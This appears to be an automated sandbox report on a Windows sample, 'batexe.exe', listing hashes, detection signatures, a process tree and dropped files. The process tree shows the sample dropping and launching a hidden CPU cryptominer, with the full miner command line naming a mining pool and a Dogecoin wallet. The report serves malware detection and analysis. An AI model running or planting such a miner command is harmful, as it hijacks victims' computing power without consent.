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Analysis

  • max time kernel
    297s
  • max time network
    311s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    20/02/2024, 18:37

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Users\Admin\AppData\Local\Temp\A49C.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\A49C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A49C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A930.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4380

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\A49C.tmp\b2e.exe

    Filesize

    704KB

    MD5

    2bb8bf63c7d7958f71f9307c8635131f

    SHA1

    2362f18b011bd1e60fa078052821edefa33b8e08

    SHA256

    85151a35fd2a7ef587918c4702b2adbe0c3e7eed43bc8564a662ed03a6f3ce79

    SHA512

    59eba9edea2b2af76f261db76b15912b20070d75db7cf498d55a1bc13f11692d016c9a70ed447a784c874f6d11582112312f3d058443606eb4b6de349a4857ec

  • C:\Users\Admin\AppData\Local\Temp\A49C.tmp\b2e.exe

    Filesize

    11.5MB

    MD5

    f3da894a4b560590940103135da7103f

    SHA1

    06e0eb079e95252424e3f033afa3111fe3fa2f34

    SHA256

    9f2ec2f9db6b3f5ba0310b09d566ce083a0ffadcbcb8cbcce5132305671c7e6a

    SHA512

    f8ba82640e5230c0310e4ba7f09f7f35ebe590569af0ed5127d28c491b1d69931934bf23720ed2072f5bee33b55fad73b24b8b2d08014d2a3034ed245fc4440d

  • C:\Users\Admin\AppData\Local\Temp\A930.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.8MB

    MD5

    9bfd1b3fe9d16214aca8903a17e07001

    SHA1

    9b81cbc5691fcdc98ddf93cb7786a256830ca876

    SHA256

    52e4d953943d84055f318e58ee6406ad58d7cd38befea955fe87f42b1717558b

    SHA512

    d4f564dba5b4f717acd4e207d226608cb7667a1506aab7df5b3ab9bf08800d6803ad89eb2fdd8661c956bb56e5d5a9e570155a2bcf5f9dfc605a076711afd609

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    3.2MB

    MD5

    d5ad2469098f14256719c1778a398b95

    SHA1

    248429b17fc46e786771344977a65e4b8d682eaa

    SHA256

    088e39646af15f605be53f66dbbc2cbbdf73307974c456de9a0510e00954ed13

    SHA512

    53d41e1fa6a1fb0b2cc2934bfe3df43e6e5ded167c03612ff626fcb5aedfc4604afd00c71dd849052b16597904223e9bff33e1f8fc5a6e451c93c7784df9dab5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    3.2MB

    MD5

    74bac404001bc1531147caa5f2be028e

    SHA1

    66dd15e6d033c67ce325fba82058e2b9f1f91945

    SHA256

    5e10b8f1159d10bcc5db2082da33bbe98bb3369ca9550eada56eb90427a74948

    SHA512

    c09ee7d6f84729073bfe81ebdf6291fd7ca2d2e8b496ef4701c5ad16914d1125ce4b07273507e8107283335b1cfc921cd99ca58ccb0963a09c085aa3eb111379

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1964-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1964-55-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4380-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4380-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4380-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4380-42-0x000000005F240000-0x000000005F2D8000-memory.dmp

    Filesize

    608KB

  • memory/4380-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

    Filesize

    24.7MB

  • memory/4380-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4380-50-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4380-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4380-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4380-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4380-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4380-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4456-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB